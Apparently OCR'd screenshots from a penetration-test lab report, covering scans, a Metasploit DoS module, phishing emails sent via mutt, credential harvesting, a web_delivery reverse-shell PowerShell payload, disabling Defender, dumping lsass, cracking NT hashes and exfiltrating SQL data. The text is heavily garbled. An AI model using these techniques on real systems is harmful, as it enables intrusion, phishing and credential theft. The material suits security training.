o )-[/home/kali!
(|
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msf6 > search cvi

021-31166
Matching Modules

# Name Disclosure Date Ra
nk  Check Description

0 auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve 2021 31166 2021-05-11 no
rmal No  Windows ITS HTTP Protocol Stack DOS

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/dos/windows/h
ttp/http_sys_accept_encoding_dos_cve_2021 31166

msf6 > use auxilary/dos/windows/http/https_sys_accept_encoding dos_cve 2021 31166

| No results from search

- | Failed to load module: auxilary/dos/windows/http/https_sys_accept_encoding_dos_cve 2021 31166
5£6 > use auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve 2021 31166

msf6 auxiliary(dos/windows/http/http_sys_accept_encoding_dos_cve_2021 31166) > set RHOSTS 192.168
.10.200

RHOSTS = 192.168.10.200

nsf6 auxiliary(dos/windows/http/http_sys_accept_encoding dos_cve_2021.31166) > Tun

[*] Running module against 192.168.10.200

[*] Connecting to target to make sure its alive

[+] successfully connected to target. Sending payload ..

[+] Payload was sent to the target server.

[*] Checking that the server is down.

|- Target appears to still be alive. It may have not received the packet due to network filterin
g, or it may not be vulnerable

[*] Auxiliary module execution completed

nsf6 auxiliary(dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166) > |
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- e

] Module auxiliary/admin/vmware/vcenter_forge_saml_token
] Module auxiliary/scanner/http/blind_sql_query

] Module auxiliary/scanner/http/error_sql_injection

] Module auxiliary/scanner/http/http_traversal

] Module auxiliary/scanner/http/rails mass_assignment

] Module exploit/multi/http/Lcms_php_exec

Query testing 1=

1

General testing 1=

unch completed in 276.81246185302734 seconds
] Done.

6 >

f6 > vulns

lnerabilities

mestamp Host Name References

25-04-29 22:00:40 UT 192.168.10.200 HTTP Trace Method Allowed CVE-2005-3398,CVE-2005-3498
0SVDB-877,B1D-11604, BID-9506
,BID-9561,URL-https: //develo
per.mozilla.org/en-Us/docs/W
eb/HTTP/Methods/OPTIONS





image42.png
File Actions Edit View Help

—(kali® kali)-[~]
1§ nikto -h 192.168.10.200 ~C all
Nikto v2.5.0

+ Target Ip: 192.168.10.200
+ Target Hostmame:  192.168.10.200

+ Target Port: 80

+ Start Time: 2025-04-30 06:33:42 (GMT-4)

+ Server: Microsoft-I15/10.0

+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla
-org/en-Us/docs/Web/HTTP/Headers/X-Frame-Options

+ /1 The X-Content-Type-Options header is not set. This could allow the user agent to render the
content of the site in a different fashion to the MIME type. See: https://wm.netsparker.com/we
b-vulnerability-scanner/vulnerabilities/missing-content-type-header/

OPTIONS: Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

OPTIONS: Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

26640 requests: 0 error(s) and 4 item(s) reported on remote host

End Time: 2025-04-30 06:34:42 (GMT-4) (60 seconds)

+ 1 host(s) tested

—(kali® kali)-[~]
1§ nikto -h 192.168.10.201 —C all
- Nikto v2.5.0

+ Target Ip: 192.168.10.201
+ Target Hostmame:  192.168.10.201

+ Target Port: 80

+ Start Time: 2025-04-30 06:34:53 (GMT-4)

+ Server: Microsoft-II5/10.0
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla
-org/en-Us/docs/Web/HTTP/Headers/X-Frame-Options
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Claligkali)-(~)
$ echo "This is a link to our new company Instagram page. Please log in asap” | mutt -s “New w
ebpage to test” -a /home/kali/Desktop/Great_link.html — m.marksacpc.com

(kali® kali)-[~]
Gy
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[ ] ~IDesktop/emai_body.txt - Mousepad
File Edit Search View Document Help

BREM®Cx Sc¢c x@bBO Qa&n

1Good afternoon Mr Friends
2

3 Please check out this <*https://192.168.10.54">linke/a>.
S regards

o S L
H
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(kali® kali)-[~]
C¢' <t Desktop
[ (kali® kali)- [~/Desktop]

$ mutt -s "IT Support - Log into your Microsoft Account™ -e "set content_type=text/html” j.fri
endsacpc.con < emai_body. txt

(kali® kali)-[~/Desktop]
Con
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[*] WE GOT A HIT! Printing the output: :
POSSIBLE PASSWORD FIELD FOUND: [{“eventBody®:{"header”:{*pageInstance":{"pageUrn
_homepage-guest-home_jsbeacon” , “trackingId" : "SazlV9XLQRSNdfQtsTATeg="}, "time" :1746111689246, "ve
Tsion":"2.1.2034", "server®:"*,"service®:"","guid":"[POE;L,58v=";-", "memberId":0, "clientGlobalseq
uenceNunber* :92, "applicationViewerUrn®: "urn:11:guest :83bcche3-fF62-4abo-8e57-Fb0224866d99" , “clie
ntApplicationInstance”:{"applicationUrn":"urn:li:application:(homepage-guest-frontend, homepage-g
uest-frontend)", "version":"2.1.2034", "trackingId":[89,5,141,240,117,135,71,91,175,76,77,148,103,
181,251,111]}, "isShadowEvent" : false}, "requestHeader"
epage-guest-home_jsbeacon" , “referer”
owserPersistentRetryEnabled”:false}, "startTime": 1746111687233}, "eventInfo
Name-: "PageviewHeartbeatEvent” , “topicName” : "PageViewHeartbeatEvent™ }}]
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

age

[+] WE GOT A HIT! Printing the output:
POSSIBLE PASSWORD FIELD FOUND: [{eventBody":{*header”:{pageInstance"
_homepage-guest-home_jsbeacon”, *trackingId" : "5azlVOXI1QRSNAfQtsTATeg="}
Tsion”:72.1.2034", "server”s”*, "service®:"", "guid": "wiBOK\u00O4O0A"AH; ",
1SequenceNunber":93, "applicationViewerurn®: “ur
clientapplicationInstance" :{ *applicationurn"
ge-guest-frontend)”, "version":"2.1.2034
103,181,251,111]}, “isShadowEvent " :false}

omepage-guest-home_j
isBrowserpersistentRetryEnabled”: false}
ventName" : *PageViewHeartbeatEvent
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

Cl*] File in XML format exported to /root/.set/reports/2025-05-01 11:01:33.110767.
reading pleasure

Press . to continue

i
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msf6 exploit( ) > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp

mSF6 exploAt(y <1/ <o ipt/weh delivery) > set target 2

target = 2

mSF6 exploit(y| 1 /scipt /el delivery) > set LHOST 192.168.0.54
LHOST = 192.168.0.54

mSF6 explodt(i <1/ <cript/ueh delivery) > set LPORT 4bhh

LPORT = bbb

mSF6 exploit(uilt1/script/ueh delivery) > exploit

[+] Exploit running as background job 0.

[+] Exploit completed, but no session was created.

[+] Started reverse TCP handler on 192.168.0.54: 4444
mSF6 exploit(yi 1 <cript/weh delivery) > [+] Using URL: http://192.168.0.54:8080/D1woaz|
[+] Server started.

[+] Run the following comand on the target machine:

powershell.exe -nop -w hidden -e WBOAGUAGAAUAFMAZQBYAHYAGQB JAGUAUABVAGKADZBOAEDAYQBUAGE]
MAQBYAGKAGABSAFAACZBVAHQADWE JAGBADANIAF SATEB| AHQAL EBTAGUAYWB1AHTAZQBOAHKAUABY AGBAGABVAC
DOAVABSAHWAMQAYADSA JABZAGTAMGAIAGAAZQB3ACOADWE 1 AGOAZQBI AHQATABLIAGUAGAAUAHCAZQB 1 AGHADABDAY
AHKACWBOAGUADQAUAEAZQBOACLAVWBLAGTAUABY AGBACABSAFOAOZAGAE CAZQBOAEQAZQBTAGEAGQBSAHOAUABY |
KAHTAZQBZAHMATAATAGLAZQAZACOADEBIAGNADARDAHSATABZAGTANQAUAHAACEBYAHZACQAOAFSATEBAHOAL 8|
BOAFOAOZAGAECAZQBOAFMACQB2AHQAZQBTAFCAZQB1 AFAACEBVAHEACQAOACKAOWAKAHNAY SAXACLAUABYAGEACA
ABDAGEADABZADOAWWEOAGUACAAUAEMACEB AGUAZQBUAHQAZQBNAGHACWEAGHAZAB AFDAOZAGAEQAZQBTAGEA
0ABDAGEADABZADSAFQA7AEKARQBYACAAKAAOAGAAZQB3ACOADNB AGOAZB AHOATABOAGUAAARUAF CAZQBIAEMA}
AWBLIAGNADNBRAGOAUWBOAHTAZQBUAGCAKAANAGEAABOAHAROGAVACBANGASADTAL ZAXADYAOAAUADAAL GATAL
CAMABRAFOACBNAEOALWBUAGSANARY AGOANZBKACCAKQAPADSASQBFAFATAAOACEADgB L AHCALQBVAGTAGGBAC
GIAQUBSAGKAZQBUIAHQAKQAUAEQAbWB3AGLADABYAGEAZABTAHQACEBPAGAZWAOACCAZABOAHOACARGACBALWAXA}
ADUANAAGADZANAAGADAAL WBEADEAWAWAGEAgBY AFYATOANACKAKQATAR=

1
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rname Mambosa
JserPrincipalName : Jason@cpc.msft

isplayName : Shiela Wheels
istinguishedName : CN-Shiela Wheels,CN-Users,DC-cpc,DC-msft
True

: Shiela
lame : Shiela Wheels
bjectClass : user
bjectGUID : 30bbeb36-ecf8-dedb-9e58-3aalaal2ledh
amAccountName @ Shiela
1D 5-1-5-21-2453120288-120491625-1660536739-1186
urname Wheels

JserPrincipalName : Shiela@cpc.msft

isplayName : Mark Marks
istinguishedName : CN-Mark Marks,OU-Non-Admin Users,DC-cpc,DC-msft

m.marks@cpc. com

True

: Mark

lame : Mark Marks
bjectClass : user
bjectGUID : 1b571cec-bb24-402a-9526-244cb1b77ea3
amAccountName  : Mark
1D 5-1-5-21-2453120288-120491625-1660536739-1168
urname Marks

JserPrincipalName : Mark@cpc.msft

isplayName : Joshua Friend
istinguishedName : CN-Joshua Friend,OU-Non-Admin Users,DC-cpc,DC-msft
-Friendgcpc. com

True
: Joshua

lame : Joshua Friend

bjectClass : user

bjectGUID : 4973b718-9e1-4447-bdad-F54e3519F07

amAccountName  : Joshua

1D 5-1-5-21-2453120288-120491625-1660536739-1169

urname Friend

JserPrincipalName : Joshua@cpc.msft
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S C:\Users\Administrator> New-ADGroup -Name “Hid

mdlet New-ADGroup at command pipeline position 1
Supply values for the following parameters:
sroupScope: Global

S C:\Users\Administrator>
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Windows PowerShell
opyright (C) Microsoft Corporation. ALl rights reserved.

P C:\Users\pentest>

The group *HiddenUsersGroup® has been hidden from the address list.
s C:\windows\system32>
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omputer

Mindows Powershell
pyright (C) Microsoft Corporation. ALl rights reserved.

P C:\Users\pentest>

windows Powershell
Copyright (C) Microsoft Corporation. ALl rights reserved.

Windows\system32> Set-MpPreference -Di:
Windows\systen32>
Windows\system32> Set-MpPreference -Di:
C:\Windows\system32> Set-MpPreference -Di
Windows\system32> Set-MpPreference -Di:
Windows\system32> Set-MpPreference -Di:
Windows\system32> Set-MpPreference -
Windows\systen32>

tEngine Strue

RAGRARRGAR
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PS C:\Windows> procdump.exe - eula -ma lsass.exe lsass.dmp
ProcDump v11.0 - Sysinternals process dump utility

lCopyright (C) 2009-2022 Mark Russinovich and Andrew Richards
(Sysinternals - www.sysinternals.com

[13:35:27] Dump 1 initiated: C:\Windows\lsass.dmp

[13:35:28] Dump 1 writing: Estimated dump file size is 142 MB.
[13:35:29] Dump 1 complete: 142 MB written in 1.6 seconds
[13:35:29] Dump count reached.

PS C:\Windows>
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kali@kali: ~/Desktop

File Actions Edit View Help

(kali® kali)-[~]
,—_$ cd Desktop

(kali® kali)-[~/Desktop]
Cs'is

emai_body.txt Great_link.html lsass.txt results.html sherlock

(kali® kali)-[~/Desktop]
,—_$ john ’lsﬂss .txt
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[ (ali® kali)-(~/Desktop)
$ john --format=NT --wordlis:

usr/share/wordlists/rockyou. txt lsass.txt

Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (NT [MD4 128/128 AVX 4x31)
Remaining 3 password hashes with no different salts

Warning: no OpenMP support for this hash type, consider —fork=6

Press 'q’ or Ctrl-C to abort, almost any other key for status

og 0 DONE (2025-05-03 18:07) 0g/s 17929Kp/s 17929Kc/s 53788KC/s

Session completed.
[ (ka1i8 kali)-[~/Desktop]
john —show —format=NT sass.txt
Shiela:Ilovenycat
1 password hash cracked, 3 left

(kali® kali)-[~/Desktop]
Y]

markinho .. *7; Vai
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icrosoft Windows [Version 10.6.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.

Users\pentest>

mmand Prompt

icrosoft Windows [Version 16..17763.3656]
c) 2018 Microsoft Corporation. All rights reserved.

:\Windows\system32>systeminfo

ost Name: DCL-NWT
S Name: Microsoft Windows Server 2019 Standard
5 Version: 10.6.17763 N/A Build 17763

S Manufacturer: Microsoft Corporation

s Configuration: Primary Domain Controller

S Build Type: Multiprocessor Free

egistered Ouner: windous User

egistered Organization:

roduct ID: 06429-00119-06200-AA327

riginal Install Date: 4/12/2025, 5:10:22 PN
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Vindows Powershell
Copyright (C) Microsoft Corporation. ALl rights reserved.

s,

“\Users\pentest>

Windows PowerShell
Copyright (C) Microsoft Corporation. ALl rights reserved.

PS C:\Mindows\system32> Get-ComputerInfo

WindowsBuildLabEx 17763.1.amd64fre. rs5_release.180914-1434
WindowsCurrentVersion 6.3
WindowsEditionId © Serverstandard

Server
4/12/2025 4:10:22 P

WindowsInstallationType
WindowsInstallDateFronRegistry

WindowsProductId 00429-00119-06200-AA327

WindowsProductNane Windows Server 2019 Standard

WindowsRegisteredOrganization

WindowsRegi steredOuner Windows User

WindowsSystenRoot C:\indows

WindowsVersion 1809

BiosCharacteristics 4, 7,9, 11...}

BiosBIOSVersion  {INTEL - 6040000,
VMA201.00V. 24006535 . 564 . 2406042154, VMware,
Inc. - 1000}

BiosBuildiumber

BiosCaption V201,00V 24006586 . 864 . 2406042154

BiosCodeSet :

BiosCurrentLanguage

BiosDescription V201,00V 24006586 . 864 . 2406042154

BiosEmbeddedControllertajorVersion
RincFmhoddedCont rol 1 erMi norVor<i on

255
See
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\Windows\systen32>netstat -an

ctive Connections

Proto Local Address Foreign Address state
TP 6.0.6.0 0.0.0.0:6 LISTENING
TP e.0.6.0: 0.0.0.0:6 LISTENING
TP 6.0.6.0 0.0.0.0:6 LISTENING
TP 6.0.6.0 0.0.0.0:6 LISTENING
TP e.0.6.0: 0.0.0.0:6 LISTENING
TP 6.0.6.0 0.0.0.0:6 LISTENING
TP 6.0.6.0 0.0.0.0:6 LISTENING
TP e.0.6.0: 0.0.0.0:6 LISTENING
TP 6.0.6.0 0.0.0.0:6 LISTENING
TP 6.0.6.0 0.0.0.0:6 LISTENING
TP e.0.6.0: 0.0.0.0:6 LISTENING
TP 6.0.6.0 0.0.0.0:6 LISTENING
TP 6.0.6.0 0.0.0.0:6 LISTENING
TP e.0.6.0: 0.0.0.0:6 LISTENING
TP 6.0.6.0 0.0.0.0:6 LISTENING
TP 6.0.6.0 0.0.0.0:6 LISTENING
TP e.0.6.0: 0.0.0.0:6 LISTENING
TP 6.0.6.0 0.0.0.0:6 LISTENING
TP 6.0.6.0 0.0.0.0:6 LISTENING
TP 6.0.6.0: 0.0.0.0:6 LISTENING
TP 6.0.6.0 0.0.0.0:6 LISTENING
TP 6.0.6.0 0.0.0.0:6 LISTENING
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CurrentC

Terminal Se

“Name "#Den;
PS C:\Windows\system32> Enable-NetFirewallRule -DisplayGroup “Rerote Deskiop
PS C:\Windows\system32> Install-WindowsFeature -Nare RDS-RD-Server -IncludeManagementTools

Success Restart Needed Exit Code Feature Result

SuccessRest... {Remote Desktop Session Host, Remote Deskt...
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Host Name:
05 Name:

0S Version:

05 Manufacturer:
0S Configuratior
05 Build Type:
Registered Owne
Registered Organization:
Product ID:

(C: \Windows \system32>systeminfo

SRV-NWT
Microsoft Windows Server 2019 Standard
10.0.17763 N/A Build 17763

Microsoft Corporation

Standalone Server

Multiprocessor Free

Windows User

00429-00119-06200-AA327
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:\Windows\system32>netstat
tive Connections
Proto Local Address Foreign Address State

TCP  192.168.111.142:51241 173.222.13.40:http TIME_WAIT
TCP  192.168.111.142:51243 146.75.74.172:http TIME_WAIT

TP [::1]:8082 SRV-NWT: 50819 ESTABLISHED
TCP 150819 SRV-NWT: 8082 ESTABLISHED
TCP :51251 SRV-NWT: 8082 TIME_WAIT
TCP :51252 SRV-NWT: 8082 TIME_WAIT
TCP :51253 SRV-NWT: 8082 TIME_WAIT
TCP :51254 SRV-NWT: 8082 TIME_WAIT
TCP :51255 SRV-NWT: 8082 TIME_WAIT
TCP :51256 SRV-NWT: 8082 TIME_WAIT
TCP :51257 SRV-NWT: 8082 TIME_WAIT
TCP :51258 SRV-NWT: 8082 TIME_WAIT
TCP :51259 SRV-NWT: 8082 TIME_WAIT
TCP :51260 SRV-NWT: 8082 TIME_WAIT
TCP :51261 SRV-NWT: 8082 TIME_WAIT

TCP

:51262 SRV-NWT: 8082 TIME_WAIT
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C:\Windows\system32>arp

-a

Interface: 192.168.10.201 --- 0x4

Internet Address
192.168.10.1
192.168.10.200
192.168.10.254
192.168.10.255
224.0.0.22
224.0.0.251
224.0.0.252
239.255.255.250

Interface: 192.168.11.1
Internet Address
192.168.11.2
192.168.11.254
192.168.11.255
224.0.0.22
224.0.0.251
224.0.0.252
239.255.255.250

C: \Windows\system32>

Physical Address
00-0c-29-5c-48-44
00-0c-29-93-75-d6
00-50-56-e2-f9-1c
FFEFFFFFFfFF
01-00-5e-00-00-16
01-00-5e-00-00-fb
01-00-5e-00-00-fc
01-00-5e-7f-ff-fa

--- 0x6

Physical Address
00-0c-29-59-da-62
00-50-56-fe-9a-64
FFEFFFFFFFFF
01-00-5e-00-00-16
01-00-5e-00-00-fb
01-00-5e-00-00-fc
01-00-5e-7f-ff-fa

Type
dynamic
dynamic
dynamic
static
static
static
static
static

Type
dynamic
dynamic
static
static
static
static
static
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C: \Windows\system32>

C: \Windows\system32>sc queryex type=service state=all | findstr /I "SQL"
ISPLAY_NAME: SQL Server Integration Services 15.0

ERVICE_NAME: MSSQLSMICROSOFT#HWID

ERVICE_NAME: MSSQLSERVER

ISPLAY_NAME: SQL Server (MSSQLSERVER)

ERVICE_NAME: MSSQLServerOLAPService

ISPLAY_NAME: SQL Server Analysis Services (MSSQLSERVER)
ERVICE_NAME: SQLBrowser

ISPLAY_NAME: SQL Server Browser

ERVICE_NAME: SQLSERVERAGENT

ISPLAY_NAME: SQL Server Agent (MSSQLSERVER)

ERVICE_NAME: SQLServerReportingServices

ISPLAY_NAME: SQL Server Reporting Services

ERVICE_NAME: SQLTELEMETRY

ISPLAY_NAME: SQL Server CEIP service (MSSQLSERVER)
ERVICE_NAME: SQLUWriter

ISPLAY_NAME: SQL Server VSS Writer

TSPLAY_NAME: SQL Server Analysis Services CEIP (MSSQLSERVER)
ISPLAY_NAME: SQL Server Integration Services CEIP service 15.0
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PS C:\Windows\systen32>

PS C:\Windows\system32> $env:COMPUTERNANE

SRV-NWT

PS C:\Windows\system32> Invoke-Sqlemd -ServerInstance “SAV- Il

Columnl

master

TABLE_NAME

spt_fallback_db
spt_fallback_dev
spt_fallback_usg
Customers

spt_monitor
MSreplication_options

PS C:\Windows\system32> Invoke-Sqlemd -ServerInstance “SAV- Il

PS C:\Windows\systen32> o

TInvoke-Sqlcmd -ServerTnstance

~Query "SELECT DB_NAME();"

ABLE_NA

-Query "SELE
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Windows\system32> Invoke-Sqlcmd -ServerTnstance “SRV-IWT" -Database “master” -Query *

dp.name AS UserName,

dp. type_desc AS UserType,
p-permission_name AS PermissionName,
p.state_desc AS PermissionState

>> FROM

>> sys.database_principals dp

b>> LEFT J0IN

database_permissions p ON dp.principal_id - p.grantee_principal_id

> dp.type v ('S7, -- S = SQL user, U = Windows user, G = Windows group
[>> ORDER BY

>>  dp.name, p.permission_name;”

jserName UserType PermissionName PermissionState
#15_PolicyEventProcessinglogin## SQL_USER CONNECT GRANT
415_PolicyEventProcessinglogin## SQL_USER EXECUTE GRANT
abo SQL_USER CONNECT GRANT
guest SQL_USER CONNECT GRANT

[TNFORMATTON_SCHEMA SQL_USER

sys SQL_USER
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PS C:\Windows\system32>

Windows\systen32>
Windows\systen32>
Windows\systen32>
Cr\Windows\systen32>

Sys.databases WHERE name NOT IN (‘master’, 'tempdb', ‘model’, ‘msdb’)

Windows\systen32>
Mindows\systen32> Sresults = Invoke-Sqlcmd -ServerInstance $serverInstance -Query Squery -TrustServerCertificate
Windows\systen32>

Windows\system32> Sresults | Format-Table -Autosize

RRGR  ARRR
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dows PowerShell
Copyright (C) Microsoft Corporation. ALl rights reserved.

\Mindows\system32> Sserverinstance
\Mindows\system32> Sdatabaseliane
\Windows\system32> Squery
\Mindows\system32> SoutputFile =
\Windows\system32>

C:\Windows\system32> Sresults = Invoke-Salcmd -

Tnstance $serverTnstance -

\Mindows\system32> Sresults | Export-Csv -
< \Windows\system32>

n SoutputFile -

WA S AR AN

e Sdatabaseliame -

Squery
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4 Find

p—

["customerID", "CustomerName”, "CustomerEmail”
"1, "Pfizer", "reppfizer.com”

"2", "Sanofi", "sales@sanofi.co.uk"

3", "Johnson", "research@johnson. com”

"4", "Bayer”, "billing@bayer.co.uk"

5", "GSK", "rep@gsk. com"

"6", "AstraZencca”, "reserach@astrazencca.com”
"7", "Norvartis", "reps@norvartis.com"

"8", "Medpace", "rescarchémedspace . co.uk"
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root@kali: fome/ks

File Actions Edit View Help

[ ) /home/kalld)

4 nmap -A 192.168.10.201

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-29 07:46 EDT
Nmap scan report for 192.168.10.201

Host is up (0.00072s latency).

Not shown: 991 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp  open ftp Microsoft ftpd

| ftp-syst:

|_ SYST: windows_NT

80/tcp open http Microsoft IIS httpd 10.0

|_http-title: Site doesn't have a title (image/jpeg).
I http-methods
I_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-I15/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_signed_Fallback
| Not valid before: 2025-04-29T11:22:34
|_Not valid after: 2055-04-20T11:22:34
| ssl-date: 2025-04-29T11:47:06+00:00; 0s from scanner time.
I ms-sql-info:
192.168.10.201\MSSQLSERVER:
Instance name: MSSQLSERVER
Version:
name

I

I

I

1 Microsoft SQL Server 2019 RTM
1 number: 15.00.2000.00

| Product: Microsoft SQL Server 2019
| Service pack level: RTM

| Post-SP patches applied: false

I TCP port: 1433
[

I

I

I

I

I

I

I

Clustered: false
ms-sql-ntlm-infe
192.168.10.201\MSSQLSERVER:
Target_Name: SRV-NWT
NetBIOS_Domain_Name: SRV-NWT
NetBIOS_Computer_Name: SRV-NWT
DNS_Domain_Name: SRV-NWT
DNS_Computer_Name: SRV-NWT
I_ product_Version: 10.0.17763
2383/tcp open ms-olap4?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
I_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8082/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Site doesn’t have a title.
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BKaTOOS  File Actions Edit View Help
"] Weap done: 1 Ip address (1 host up) scanned in 13.25 seconds
platie -

$ nmap —sn -PU 192.168.10.200
/nmap.org ) at 2025-04-28 12:05 EOT

Starting Naap 7.95 ( https:
Nnap scan report for 192.168.10.200
tost i up (0000305 latency).

MAC Address: 00:0C:29:33:AB:85 (Viware)
Naap done: 11 address (1 host up) scanned in 13.23 seconds

(kali® kali)-[~]
s
nmap -sn -PE 192.168.10.200

Starting Neap 7.95 ( https://nmap.org ) at 2025-04-28 12:05 EDT
Neap scan report for 192.168.10.200
Host is up (0.00044s latency).
MAC Address: 00:0C:29:33:AB:B5 (Viware)
: Neap done: 1 IP address (1 host up) scanned in 13.21 seconds

E(kauem\n [~)

§ nmap -sn -PP 192.168.10.200

_ Starting Naap 7.95 ( https://nmap.org ) at 2025-04-28 12:06 EOT
Neap scan report for 192.168.10.200

Host is up (0.00051s latency).

MAC Address: 00:0C:29:33:AB:B5 (Viware)

Neap done: 1 IP address (1 host up) scanned in 13.20 seconds

[(kali® kald)-[~
=

Links Platforms
Home ARM (S8C)
Download / Get Kali NetHunter (Mobile)
Blog

05 Documentation 5 Amazon AWS

O¢ aflne|a e

15

I

Development

Bug Tracker
Continuous Integration
Network Mirror

Package Tracker
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vare Workstation

root@lal homefial
File Actions Edit View Help

L4 nmap -sT -P open 192.168.10.200 -p389 —script ldap-rootdse
Starting Neap 7.95 ( https://nmap.org ) at 2025-04-29 08:30 EOT

Nnap scan report for 192.168.10.200

Host is up (0.00064s latency)

PORT  STATE SERVICE
389/tcp open ldap.

| Ldap-rootdse:

| LDAP Results

1 <rooT>

I domainFunctionality: 7

I forestFunctionality: 7

I domainControllerfunctionality: 7
I rootDomainNamingContext: DC=cpe,DCemsft

I 1dapServiceName: cpe.msft:dcl-nwt$aCPC.MSFT
I isGlobalCatalogReady: TRUE

I supportedsASLMechanisns: GSSAPT

I SupportedsASLMechanisns: GSS-SPNEGO

1 SupportedSASLMechanisns: EXTERNAL

I supportedSASLMechanisms: DIGEST-MDS

I supportedLDAPVersion: 3

I supportedLDAPVersion: 2

I SupportedLDAPPolicies: MaxPoolThreads

I supportedLDAPPOLicies: MaxPercentDirSyncRequests
I supportedLDAPPolicies: MaxDatagramRecy

I supportedLDAPPolicies: MaxReceiveBuffer

I supportedLDAPPoLicies: InitRecvTimeout

1 supportedLDAPPolicies: MaxConnections

I supportedLDAPPolicies: MaxConnIdleTime
I
1
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I

supportedLDAPPolicies: MaxPageSize
SupportedLDAPPolicies: MaxBatchReturnMessages
SupportedLDAPPolicies: MaxQueryDuration
SupportedLDAPPolicies: MaxDirSyncDuration
supportedLDAPPolicies: MaxTempTablesize
supported(DAPPolicies: MaxResultsetsize
supportedLDAPPolicies: MinResultSets
SupportedLDAPPolicies: MaxResultSetsPerConn
supportedLDAPPolicies: MaxNotificationPerConn
supportedLDAPPolicies: MaxValRange
SupportedLDAPPolicies: MaxValRangeTransitive
SupportedLDAPPolicies: ThreadiemoryLimit
supportedLDAPPolicies: SystemMemoryLimitpercent

supportedControl: 1.2.840.113556.1.4.319
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 1.2.840.113556.1.4.528
supportedControl: 1.2.840.113556.1.4.417
supportedControl: 1.2.840.113556.1.4.619
supportedControl: 1.2.840.113556.1.4.841
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